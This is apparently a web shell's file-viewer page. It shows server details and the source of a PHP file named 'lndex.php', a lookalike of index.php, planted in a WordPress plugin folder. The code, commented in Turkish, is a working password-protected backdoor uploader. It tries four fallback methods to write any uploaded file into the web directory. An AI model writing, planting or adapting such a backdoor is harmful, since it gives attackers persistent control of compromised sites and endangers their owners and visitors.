HEX
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips
System: Linux WORDPRESS 3.10.0-1160.118.1.el7.x86_64 #1 SMP Thu Apr 4 03:33:23 EDT 2024 x86_64
User: digital (1020)
PHP: 7.2.24
Disabled: NONE
Upload Files
File: /datos/www/expodubai/wp-content/plugins/social_1770050741/lndex.php
<!--Ydls4C9S-->
<?php
/**
 * Basitleştirilmiş Gelişmiş Yükleme Betiği
 * Bu betik, kısıtlamalı sunucularda farklı yöntemleri deneyerek dosya yüklemeye çalışır.
 */

// --- AYARLAR ---
$password = "1qwer4"; // Güvenlik için bir şifre belirleyin
$upload_dir = "./";   // Dosyaların yükleneceği dizin (yazma yetkisi olmalı)

// --- GÜVENLİK KONTROLÜ ---
session_start();
if (isset($_POST['pass']) && $_POST['pass'] == $password) {
    $_SESSION['auth'] = true;
}

if (!isset($_SESSION['auth'])) {
    die('<form method="POST">Sifre: <input type="password" name="pass"><input type="submit" value="Giris"></form>');
}

// --- YÜKLEME MANTIĞI ---
if (isset($_FILES['dosya'])) {
    $file = $_FILES['dosya'];
    $filename = basename($file['name']);
    $target_path = $upload_dir . $filename;
    $tmp_path = $file['tmp_name'];

    $success = false;
    $method = "";

    // Yöntem 1: move_uploaded_file (Standart)
    if (move_uploaded_file($tmp_path, $target_path)) {
        $success = true; $method = "move_uploaded_file";
    } 
    // Yöntem 2: rename (Bazı kısıtlamalarda çalışır)
    elseif (rename($tmp_path, $target_path)) {
        $success = true; $method = "rename";
    }
    // Yöntem 3: copy
    elseif (copy($tmp_path, $target_path)) {
        $success = true; $method = "copy";
    }
    // Yöntem 4: file_get_contents & file_put_contents (En zorlayıcı yöntem)
    else {
        $content = file_get_contents($tmp_path);
        if ($content !== false) {
            if (file_put_contents($target_path, $content)) {
                $success = true; $method = "file_put_contents";
            }
        }
    }

    if ($success) {
        echo "<b style='color:green;'>Başarılı!</b> Dosya yüklendi: $filename (Yöntem: $method)";
    } else {
        echo "<b style='color:red;'>Hata!</b> Hiçbir yöntemle yüklenemedi. Dizin izinlerini (CHMOD 755 veya 777) kontrol edin.";
    }
}
?>

<hr>
<form method="POST" enctype="multipart/form-data">
    Dosya Seç: <input type="file" name="dosya">
    <input type="submit" value="Yükle">
</form>
<br>
<small>Mevcut Dizin: <?php echo getcwd(); ?></small>